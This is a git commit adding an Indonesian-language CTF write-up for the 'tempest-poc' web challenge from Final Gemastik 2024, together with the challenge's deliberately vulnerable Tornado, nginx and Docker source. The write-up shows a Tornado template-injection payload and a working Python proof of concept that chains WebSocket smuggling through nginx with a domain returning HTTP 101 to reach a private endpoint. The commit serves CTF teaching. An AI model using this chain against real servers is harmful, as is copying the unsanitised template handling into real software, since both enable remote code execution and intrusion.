feat: added final gemastik

main
Muhammad Daffa 2024-09-24 16:32:18 +07:00
parent d868d4c704
commit cb510ea08a
19 changed files with 959 additions and 1 deletions

View File

@ -0,0 +1,8 @@
# Final Gemastik 2024
CTF writeup for Final Gemastik
| Category | Challenge |
| --- | --- |
| Web | [tempest-poc](/2024/Final%20Gemastik%202024/tempest-poc/)
> I didn't participate in gemastik at all (quals and final)

View File

@ -0,0 +1,268 @@
# tempest-poc
> `-`
## About the Challenge
Kita mendapatkan source code yang dimana website terbagi menjadi 2 bagian yaitu `frontend` dan `backend`. Di backend menggunakan TornadoServer sebagai backend dan pada frontend digunakan static HTML. Kemudian web server yang digunakan adalah nginx.
Jika kita cek backendnya, terdapat 4 endpoints:
```python
def make_app():
return tornado.web.Application([
(r"/api/public/ws/", WebSocketHandler),
(r"/api/public/startscan", StartScanHandler),
(r"/api/public/test", TestWebsiteHandler),
(r"/api/private/report", GenerateReportHandler)
])
if __name__ == "__main__":
app = make_app()
app.listen(5000)
tornado.ioloop.IOLoop.instance().start()
```
Berikut penjelasan tiap endpoints:
- `/api/public/ws/` digunakan untuk berinteraksi dengan websocket
- `/api/public/startscan` digunakan untuk melakukan "scanning" vulnerability
- `/api/public/test` digunakan untuk melakukan testing pada URL yang akan discan
- `/api/private/report` digunakan untuk meng"generate" report
Kurang lebih tampilan websitenya seperti ini
![preview](images/preview.png)
## How to Solve?
Jika dianalisis kembali source code websitenya, ada 1 fitur yang menarik perhatian saya, yaitu fitur untuk generate report:
```python
# Generate Report Endpoint (reads from the saved JSON report file)
class GenerateReportHandler(tornado.web.RequestHandler):
def get(self):
scan_id = self.get_argument("scan_id", None)
report_name = self.get_argument("report_name", "")
if not scan_id:
self.set_status(400)
self.write(json.dumps({"error": "Missing scan_id"}))
return
# File path for the report
report_file = f"report/{scan_id}.json"
# Check if the report file exists
if not os.path.exists(report_file):
self.set_status(404)
self.write(json.dumps({"error": f"Report for scan_id {scan_id} not found"}))
return
# Load the report data from the JSON file
with open(report_file, "r") as f:
scan_data = json.load(f)
# Read the HTML template from the file
with open("report_template.html", "r") as template:
report_template = template.read()
report_template = report_template.replace("<REPORT_NAME>", report_name)
# Dynamically render the report with scan data
self.write(tornado.template.Template(report_template).generate(
scan_id=scan_id,
scan_data=scan_data
))
```
Fungsi ini vulnerable terhadap SSTI, hal tersebut terjadi karena user input yang tidak disanitasi di "passed" kedalam template sebelum dirender
```python
report_template = report_template.replace("<REPORT_NAME>", report_name)
# Dynamically render the report with scan data
self.write(tornado.template.Template(report_template).generate(
scan_id=scan_id,
scan_data=scan_data
))
```
SSTI akan terjadi disaat penyerang menginput `{{__import__('os').popen('id').read()}}` pada parameter `report_name`. Namun, pada kasus ini kita tidak bisa langsung mengakses endpoint `/api/private/report`. Mari kita cek config nginx
```
server {
listen 80;
location / {
root /usr/share/nginx/html;
index index.html;
}
# Proxy for WebSocket and HTTP requests
location ~ ^/api/public {
proxy_pass http://tempest-poc:5000;
proxy_http_version 1.1;
# WebSocket-specific headers
proxy_set_header Upgrade $http_upgrade;
# Conditionally set the Connection header
set $connection_upgrade '';
if ($http_upgrade) {
set $connection_upgrade 'Upgrade';
}
proxy_set_header Connection $connection_upgrade;
proxy_buffering off;
proxy_cache off;
# Optional: Increase timeouts to handle WebSocket connections
proxy_read_timeout 3600;
proxy_send_timeout 3600;
proxy_connect_timeout 3600;
# Additional headers to pass
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
```
Website hanya akan mengakses backend jika url diawali dengan `/api/public`. Apa yang terjadi jika kita langsung mengakses endpoint `/api/private/report`?
![docker](images/docker.png)
Website tidak akan mengakses backend, melainkan akan mencari file bernama `/usr/share/nginx/html/api/private/report`. Yang berarti tantangan selanjutnya adalah bagaimana mengakses mengakses endpoint `/api/private/report` namun harus diawali dengan endpoint `/api/public`.
Pada awalnya ada beberapa cara yang saya coba untuk mengakses endpoint tersebut
- Dengan menggunakan path traversal seperti
```
/api/public/../private/report
/api/public/../../api/private/report
dst.
```
- Mencoba memanfaatkan `/api/public/test` dengan menginupt `http://tempest-poc:5000` pada form namun hal itu tidak mungkin karena terhalang fungsi `is_local_ip`
```python
def is_local_ip(ip, local_ips):
"""Check if the IP address is one of the local IP addresses of the server."""
try:
ip_obj = ipaddress.ip_address(ip)
return ip_obj in local_ips or ip_obj.is_loopback
except ValueError:
return False
```
- Mencoba memanfaatkan HTTP request smuggling
Dan tentu saja cara-cara diatas tidak berhasil dilakukan sampai kemudian saya menganalisis konfigurasi nginx sekali lagi.
```
# Proxy for WebSocket and HTTP requests
location ~ ^/api/public {
proxy_pass http://tempest-poc:5000;
proxy_http_version 1.1;
# WebSocket-specific headers
proxy_set_header Upgrade $http_upgrade;
# Conditionally set the Connection header
set $connection_upgrade '';
if ($http_upgrade) {
set $connection_upgrade 'Upgrade';
}
proxy_set_header Connection $connection_upgrade;
```
Kenapa header `Upgrade` beserta `Connection` diset pada `/api/public*`? Sedangkan yang butuh header tersebut hanyalah endpoint `/api/public/ws/`. Setelah melakukan browsing mengenai request smuggling yang membutuhkan kedua header tersebut, saya menemukan vulnerability yang menarik yaitu `h2c smuggling` dan `websocket smuggling`
Yang pertama saya mencoba `h2c smuggling` dan hal tersebut gagal dikarenakan TornadoServer sendiri tidak support dengan [HTTP/2](https://github.com/tornadoweb/tornado/issues/1438). Kemudian saya beralih ke `websocket smuggling`.
`Websocket smuggling` sendiri memanfaatkan websocket tunnel untuk membypass limitasi dari web proxy (Nginx) dan penyerang bisa mengakses endpoint yang diinginkan
Berikut adalah alurnya:
![alur](images/alur.png)
1. Penyerang mengirimkan POST request ke endpoint `/api/public/test`, beserta header `Upgrade: websocket`. Nginx, yang berfungsi sebagai reverse proxy, mengira ini sebagai permintaan `Upgrade`, mengabaikan aspek lain dari request tersebut, dan langsung meneruskannya ke backend.
2. Di sisi backend, `/api/public/test` diexecute, tetapi saat berhubungan dengan website yang diinput penyerang (attacker.com) website tersebut mengirimkan HTTP response code 101. Ketika response ini diterima oleh backend dan diteruskan kembali ke Nginx, Nginx salah mengira bahwa koneksi Websocket sudah terbentuk karena hanya memeriksa dari HTTP response codenya saja.
Untuk lebih jelasnya bisa cek penjelasan milik [Mikhail Egorov](https://www.youtube.com/watch?v=gANzRo7UHt8) (Mulai pada menit ke 26:15)
Karena dari itu, saya membuat website menggunakan PHP dengan memanfaatkan fungsi `http_response_code` untuk mereturn HTTP response code 101
```php
<?php
http_response_code(101);
?>
```
Dan beruntung disini saya memiliki domain bernama `daffa.info` karena endpoint `/api/public/test` tidak menerima IP sama sekali
```python
# domain check
if not netloc.replace(".", "").isdigit():
# resolve the domain to ip
try:
ip = socket.gethostbyname(netloc)
except socket.gaierror:
return False
```
Setelah server sudah selesai saya setup, kemudian saya menggunakan exploit websocket smuggling dari repository milik [Mikhail Egorov](https://github.com/0ang3el/websocket-smuggle). Berikut adalah final proof of conceptnya:
```python
import socket
req1 = b'''POST /api/public/test HTTP/1.1
Host: 127.0.0.1:80
Connection: Upgrade
Upgrade: websocket
Content-Type: application/json
Content-Length: 32
{"url":"http://daffa.info:8888"}'''
req2 = b'''GET /api/private/report?scan_id=8b46ca2d-57b7-432b-948b-6dfe69864414&report_name={{__import__('os').popen('id').read()}} HTTP/1.1
Host: tempest-poc:5000
'''
def main(netloc):
host, port = netloc.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
# Send the first request
sock.sendall(req1)
sock.recv(4096)
# Send the second request and receive data
sock.sendall(req2)
data = sock.recv(4096)
data = data.decode(errors='ignore')
# Print the received data
print(data)
# Shutdown and close the socket
sock.shutdown(socket.SHUT_RDWR)
sock.close()
if __name__ == "__main__":
main('127.0.0.1:80')
```
Notes: Sebelum jalankan code diatas, jalankan "scanning" vulnerability terlebih dahulu untuk mendapatkan `scan_id`.
Berikut adalah responsenya
![rce](images/rce.png)
References:
- https://ajinabraham.com/blog/server-side-template-injection-in-tornado
- https://book.hacktricks.xyz/pentesting-web/h2c-smuggling
- https://www.youtube.com/watch?v=gANzRo7UHt8
- https://github.com/0ang3el/websocket-smuggle

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 227 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

View File

@ -0,0 +1,34 @@
FROM public.ecr.aws/docker/library/python:3.11-slim-buster
ARG PASSWORD
RUN apt-get update
RUN apt-get install -y openssh-server curl nano cron
RUN echo root:${PASSWORD} | chpasswd
RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
RUN echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
RUN service ssh start
RUN useradd --user-group --system --create-home --no-log-init --shell /bin/bash ctf
WORKDIR /home/ctf/app
COPY requirements.txt .
RUN pip install -r ./requirements.txt && rm ./requirements.txt
COPY src/ .
RUN mkdir report
RUN chown -R ctf:ctf /home/ctf/app/report
COPY entrypoint.sh .
RUN chmod +x entrypoint.sh
# Add the cron job
RUN echo "*/5 * * * * find /home/ctf/app/report -type f -mmin +5 -exec rm -f {} \;" > /etc/cron.d/clean_report
# Give execution rights on the cron job
RUN chmod 0644 /etc/cron.d/clean_report
# Apply the cron job
RUN crontab /etc/cron.d/clean_report
ENTRYPOINT [ "./entrypoint.sh" ]

View File

@ -0,0 +1,5 @@
#!/bin/bash
cron
/usr/sbin/sshd -D &
sleep 3
su ctf -c "python app.py"

View File

@ -0,0 +1,4 @@
tornado
python-engineio
python-socketio
requests

View File

@ -0,0 +1,251 @@
import tornado.ioloop
import tornado.web
import tornado.websocket
import tornado.gen
import threading
import requests
import json
import asyncio
import ipaddress
import socket
import random
import uuid
import os
from urllib.parse import urlparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Dictionary to keep track of WebSocket clients
clients = {}
# Expanded templates for more diverse scan results
vulnerability_templates = [
{'template': 'CVE-2021-26855', 'severity': 'critical', 'description': 'Exchange Server SSRF vulnerability detected.'},
{'template': 'CVE-2021-34473', 'severity': 'high', 'description': 'ProxyShell vulnerability detected.'},
{'template': 'CVE-2021-34527', 'severity': 'critical', 'description': 'PrintNightmare vulnerability detected.'},
{'template': 'CVE-2020-1472', 'severity': 'critical', 'description': 'Zerologon vulnerability detected.'},
{'template': 'CVE-2019-19781', 'severity': 'medium', 'description': 'Citrix ADC Remote Code Execution detected.'},
{'template': 'CVE-2020-0601', 'severity': 'high', 'description': 'CryptoAPI Spoofing vulnerability detected.'},
{'template': 'CVE-2021-21972', 'severity': 'high', 'description': 'VMware vSphere Client RCE detected.'},
{'template': 'CVE-2017-11882', 'severity': 'medium', 'description': 'Microsoft Office Memory Corruption detected.'}
]
# Let's simulate a scan. We are not doing an actual scan on this PoC to prevent unnecessary problem in the network.
# For actual scanning it should be straight forward. We just need to run all the tools with subprocess, catch the results and send them to the client.
async def simulate_scan(target, ws_handler, scan_id):
ports = random.sample([22, 80, 443, 8080, 3306, 5432], random.randint(2, 4))
dummy_progress = [
"Initializing scan engine...",
"Checking for internet connectivity...",
"Loading vulnerability templates...",
f"Starting scan with scan_id {scan_id}...",
f"Target acquired: {target}",
f"Scanning target IP: {random.randint(100, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}",
f"Running OS fingerprinting...",
f"Port scan started on {target}...",
f"Detected services on ports: {ports}",
"Loading 15 vulnerability templates for scanning...",
"[info] Running template: CVE-2021-26855 (Exchange Server SSRF)",
"[info] Running template: CVE-2021-34473 (ProxyShell)",
"[info] Running template: CVE-2021-34527 (PrintNightmare)",
"[info] Running template: CVE-2020-1472 (Zerologon)",
"[info] Running template: CVE-2019-19781 (Citrix ADC Remote Code Execution)",
"[info] Running template: CVE-2020-0601 (CryptoAPI Spoofing)",
"[info] Running template: CVE-2021-21972 (VMware vSphere RCE)",
"[info] Running template: CVE-2017-11882 (Office Memory Corruption)",
"Analyzing detected vulnerabilities...",
"Compiling result..."
]
for progress in dummy_progress:
await asyncio.sleep(0.5)
try:
ws_handler.write_message(json.dumps({"event": "scan_progress", 'data': progress}))
except Exception:
print("WebSocket connection closed, cannot send progress.", flush=True)
# Emit the final scan results
try:
ws_handler.write_message(json.dumps({"event": "scan_result", 'data': f"Result saved to report/{scan_id}.json. Please contact admin for detailed report"}))
except Exception:
print("WebSocket connection closed, cannot send final result.", flush=True)
# Final results
dummy_results = random.sample(vulnerability_templates, random.randint(2, 5))
with open(f"report/{scan_id}.json", "w") as f:
json.dump(
{
"open_ports": [str(i) for i in ports],
"vulnerabilities": dummy_results,
"scan_status": "completed",
"scan_duration": f"{random.randint(1,10)} minutes"
}, f)
def start_scan_wrapper(target, ws_handler, scan_id):
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(simulate_scan(target, ws_handler, scan_id))
loop.close()
def get_local_ips():
"""Get a list of all local IP addresses of the server."""
local_ips = []
hostname = socket.gethostname()
for ip in socket.gethostbyname_ex(hostname)[2]:
local_ips.append(ipaddress.ip_address(ip))
return local_ips
def is_local_ip(ip, local_ips):
"""Check if the IP address is one of the local IP addresses of the server."""
try:
ip_obj = ipaddress.ip_address(ip)
return ip_obj in local_ips or ip_obj.is_loopback
except ValueError:
return False
def validate_url(url):
parsed_url = urlparse(url)
if parsed_url.scheme != "http" and parsed_url.scheme != "https":
return False
local_ips = get_local_ips()
netloc = parsed_url.netloc.split(":")[0]
# domain check
if not netloc.replace(".", "").isdigit():
# resolve the domain to ip
try:
ip = socket.gethostbyname(netloc)
except socket.gaierror:
return False
if is_local_ip(ip, local_ips):
return False
else:
# check if the ip is local
if is_local_ip(netloc, local_ips):
return False
return True
# WebSocket handler
class WebSocketHandler(tornado.websocket.WebSocketHandler):
def check_origin(self, origin):
return True
def open(self):
self.cid = self.get_argument("client_id")
print("WebSocket opened", flush=True)
clients[self.cid] = self
def on_message(self, message):
print(f"Received message: {message}")
def on_close(self):
print("WebSocket closed", flush=True)
if self.cid in clients:
del clients[self.cid]
# Start scan endpoint
class StartScanHandler(tornado.web.RequestHandler):
def post(self):
data = json.loads(self.request.body)
target = data.get('target')
if not validate_url(target):
self.set_status(400)
self.write(json.dumps({'error': 'Invalid Target'}))
return
cid = data.get('client_id')
scan_id = str(uuid.uuid4())
if not target:
self.set_status(400)
self.finish(json.dumps({'error': 'No target provided'}))
elif cid not in clients:
self.set_status(400)
self.finish(json.dumps({'error': 'Invalid client ID'}))
else:
# Simulate the scan in a background thread
threading.Thread(target=start_scan_wrapper, args=(target, clients[cid], scan_id)).start()
self.write(json.dumps({'status': 'scanning started', 'scan_id': scan_id}))
# Test website handler (GET/POST)
class TestWebsiteHandler(tornado.web.RequestHandler):
def post(self):
data = json.loads(self.request.body)
url = data.get('url')
if not url:
self.set_status(400)
self.write(json.dumps({'error': 'No URL provided'}))
return
self.check_url_alive(url)
def check_url_alive(self, url):
try:
if not validate_url(url):
self.set_status(400)
self.write(json.dumps({'error': 'Invalid Target'}))
return
# cleanup url
parsed_url = urlparse(url)
cleaned_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
# Check if the URL is alive
response = requests.get(cleaned_url, allow_redirects=False, verify=False, timeout=10)
self.set_status(response.status_code)
self.finish()
except requests.RequestException:
self.set_status(500)
self.finish()
# Generate Report Endpoint (reads from the saved JSON report file)
class GenerateReportHandler(tornado.web.RequestHandler):
def get(self):
scan_id = self.get_argument("scan_id", None)
report_name = self.get_argument("report_name", "")
if not scan_id:
self.set_status(400)
self.write(json.dumps({"error": "Missing scan_id"}))
return
# File path for the report
report_file = f"report/{scan_id}.json"
# Check if the report file exists
if not os.path.exists(report_file):
self.set_status(404)
self.write(json.dumps({"error": f"Report for scan_id {scan_id} not found"}))
return
# Load the report data from the JSON file
with open(report_file, "r") as f:
scan_data = json.load(f)
# Read the HTML template from the file
with open("report_template.html", "r") as template:
report_template = template.read()
report_template = report_template.replace("<REPORT_NAME>", report_name)
# Dynamically render the report with scan data
self.write(tornado.template.Template(report_template).generate(
scan_id=scan_id,
scan_data=scan_data
))
def make_app():
return tornado.web.Application([
(r"/api/public/ws/", WebSocketHandler),
(r"/api/public/startscan", StartScanHandler),
(r"/api/public/test", TestWebsiteHandler),
(r"/api/private/report", GenerateReportHandler)
])
if __name__ == "__main__":
app = make_app()
app.listen(5000)
tornado.ioloop.IOLoop.instance().start()

View File

@ -0,0 +1,60 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Scan Report</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="text-center">Scan Report <REPORT_NAME></h1>
<table class="table table-bordered mt-3">
<thead class="thead-dark">
<tr>
<th scope="col">Attribute</th>
<th scope="col">Details</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Scan ID</strong></td>
<td>{{ scan_id }}</td>
</tr>
<tr>
<td><strong>Open Ports</strong></td>
<td>{{ ','.join(scan_data["open_ports"]) }}</td>
</tr>
<tr>
<td><strong>Scan Status</strong></td>
<td>{{ scan_data["scan_status"] }}</td>
</tr>
<tr>
<td><strong>Scan Duration</strong></td>
<td>{{ scan_data["scan_duration"] }}</td>
</tr>
</tbody>
</table>
<h2 class="mt-5">Vulnerabilities</h2>
<table class="table table-bordered mt-3">
<thead class="thead-dark">
<tr>
<th scope="col">Template</th>
<th scope="col">Severity</th>
<th scope="col">Description</th>
</tr>
</thead>
<tbody>
{% for vuln in scan_data["vulnerabilities"] %}
<tr>
<td>{{ vuln["template"] }}</td>
<td>{{ vuln["severity"] }}</td>
<td>{{ vuln["description"] }}</td>
</tr>
{% end %}
</tbody>
</table>
</div>
</body>
</html>

View File

@ -0,0 +1,22 @@
version: '3'
services:
tempest-poc:
build:
context: ./backend
args:
- PASSWORD=anotherrandompassword
networks:
- app-network
frontend:
build:
context: ./frontend
ports:
- "80:80"
networks:
- app-network
networks:
app-network:
driver: bridge

View File

@ -0,0 +1,9 @@
FROM public.ecr.aws/nginx/nginx:alpine
RUN rm /etc/nginx/conf.d/default.conf
COPY nginx.conf /etc/nginx/conf.d/
COPY . /usr/share/nginx/html
EXPOSE 80

View File

@ -0,0 +1,24 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tempest | Futuristic Website Scanner</title>
<link rel="stylesheet" href="static/css/styles.css">
</head>
<body>
<div class="container">
<h1>Tempest PoC</h1>
<div class="input-group">
<input type="url" id="target" placeholder="Enter target URL" required>
</div>
<div class="button-group">
<button id="testConnection">Test Connection</button>
<button id="startScan" disabled>Start Scan</button>
</div>
<div id="statusAndResults"></div>
</div>
<script src="static/js/app.js"></script>
</body>
</html>

View File

@ -0,0 +1,38 @@
server {
listen 80;
location / {
root /usr/share/nginx/html;
index index.html;
}
# Proxy for WebSocket and HTTP requests
location ~ ^/api/public {
proxy_pass http://tempest-poc:5000;
proxy_http_version 1.1;
# WebSocket-specific headers
proxy_set_header Upgrade $http_upgrade;
# Conditionally set the Connection header
set $connection_upgrade '';
if ($http_upgrade) {
set $connection_upgrade 'Upgrade';
}
proxy_set_header Connection $connection_upgrade;
proxy_buffering off;
proxy_cache off;
# Optional: Increase timeouts to handle WebSocket connections
proxy_read_timeout 3600;
proxy_send_timeout 3600;
proxy_connect_timeout 3600;
# Additional headers to pass
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}

View File

@ -0,0 +1,145 @@
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Roboto:wght@300;400&display=swap');
:root {
--bg-color: #0a0e17;
--text-color: #e0e0e0;
--primary-color: #00ffff;
--secondary-color: #ff00ff;
--accent-color: #ffff00;
}
body {
font-family: 'Roboto', sans-serif;
line-height: 1.6;
margin: 0;
padding: 0;
background-color: var(--bg-color);
color: var(--text-color);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.container {
width: 100%;
max-width: 600px;
padding: 2rem;
box-sizing: border-box;
}
h1 {
font-family: 'Orbitron', sans-serif;
text-align: center;
color: var(--primary-color);
font-size: 2.5rem;
margin-bottom: 2rem;
text-transform: uppercase;
letter-spacing: 3px;
text-shadow: 0 0 10px var(--primary-color);
}
.input-group {
margin-bottom: 1.5rem;
position: relative;
}
input[type="url"] {
width: 100%;
padding: 1rem;
font-size: 1rem;
border: none;
border-bottom: 2px solid var(--primary-color);
background-color: rgba(0, 255, 255, 0.1);
color: var(--text-color);
transition: all 0.3s ease;
box-sizing: border-box;
}
input[type="url"]:focus {
outline: none;
box-shadow: 0 0 10px var(--primary-color);
}
.button-group {
display: flex;
justify-content: center;
margin-bottom: 1.5rem;
}
button {
padding: 0.8rem 1.5rem;
font-size: 1rem;
font-family: 'Orbitron', sans-serif;
text-transform: uppercase;
letter-spacing: 1px;
border: none;
border-radius: 25px;
cursor: pointer;
transition: all 0.3s ease;
margin: 0 0.5rem;
}
#testConnection {
background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
color: var(--bg-color);
}
#startScan {
background: linear-gradient(45deg, var(--secondary-color), var(--accent-color));
color: var(--bg-color);
}
button:hover {
transform: translateY(-3px);
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
}
button:active {
transform: translateY(-1px);
}
button:disabled {
opacity: 0.5;
cursor: not-allowed;
}
#statusAndResults {
margin-top: 1.5rem;
padding: 1rem;
border-radius: 10px;
background-color: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(10px);
max-height: 300px;
overflow-y: auto;
width: 100%;
box-sizing: border-box;
}
#statusAndResults::-webkit-scrollbar {
width: 8px;
}
#statusAndResults::-webkit-scrollbar-track {
background: rgba(255, 255, 255, 0.1);
}
#statusAndResults::-webkit-scrollbar-thumb {
background-color: var(--primary-color);
border-radius: 4px;
}
.status-item {
margin: 0.5rem 0;
padding: 0.5rem;
background-color: rgba(0, 255, 255, 0.1);
border-radius: 5px;
}
.success {
color: var(--accent-color);
}
.error {
color: var(--secondary-color);
}

View File

@ -0,0 +1,90 @@
document.addEventListener("DOMContentLoaded", () => {
const startScanButton = document.getElementById("startScan");
const testConnectionButton = document.getElementById("testConnection");
const statusAndResultsDiv = document.getElementById("statusAndResults");
const urlInput = document.getElementById("target");
if (!crypto.randomUUID) {
crypto.randomUUID = function () {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
var r = (crypto.getRandomValues(new Uint8Array(1))[0] % 16) | 0,
v = c === 'x' ? r : (r & 0x3) | 0x8;
return v.toString(16);
});
};
}
const uuid = crypto.randomUUID();
const socket = new WebSocket(`ws://${window.location.host}/api/public/ws/?client_id=${uuid}`);
function addStatusItem(message, className = '') {
const item = document.createElement('div');
item.textContent = message;
item.className = `status-item ${className}`;
statusAndResultsDiv.appendChild(item);
statusAndResultsDiv.scrollTop = statusAndResultsDiv.scrollHeight;
}
socket.addEventListener("message", (event) => {
const data = JSON.parse(event.data);
addStatusItem(data.data);
});
startScanButton.addEventListener("click", () => {
statusAndResultsDiv.innerHTML = '';
const target = urlInput.value;
if (!target) return;
startScanButton.disabled = true;
fetch("/api/public/startscan", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ target: target, client_id: uuid })
})
.then(response => response.json())
.then(data => {
if (data.error) {
addStatusItem(data.error, 'error');
} else {
addStatusItem('Scan initiated. Monitoring progress...', 'success');
}
})
.catch(error => {
addStatusItem(`Error: ${error.message}`, 'error');
})
.finally(() => {
urlInput.value = '';
});
});
testConnectionButton.addEventListener("click", () => {
statusAndResultsDiv.innerHTML = '';
const url = urlInput.value;
if (!url) return;
testConnectionButton.disabled = true;
fetch("/api/public/test", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ url: url })
})
.then(response => {
if (!response.ok && response.status != 301) {
addStatusItem(`Target unreachable. Status Code: ${response.status}`, 'error');
} else {
addStatusItem(`Target accessible. Status Code: ${response.status}`, 'success');
startScanButton.disabled = false;
}
})
.catch(error => {
addStatusItem(`Error: ${error.message}`, 'error');
})
.finally(() => {
testConnectionButton.disabled = false;
});
});
});

View File

@ -1,5 +1,5 @@
# CTF Writeup
This repository shall comprise writeups concerning Capture The Flag (CTF) competitions that I have undertaken. In the past, I participated in local CTF events in 2021; however, after participating in several of them, I did not take part in any further CTF competitions. In 2023, I made the decision to redo CTF from the beginning, and thus created this repository with the aim of assisting other CTF players in comprehending how to solve each challenge.
This repository shall comprise writeups concerning Capture The Flag (CTF) competitions that I have undertaken. In the past, I participated in local CTF events in 2021; however, after participating in several of them, I did not take part in any further CTF competitions. In 2023, I made the decision to redo CTF from the beginning, and thus created this repository with the aim of assisting other CTF players in comprehending how to solve each challenge. This repository also contains English and Indonesian language writeups
## Stats (2023 - Now)
This is a list of wins we have achieved while participating in several CTF competitions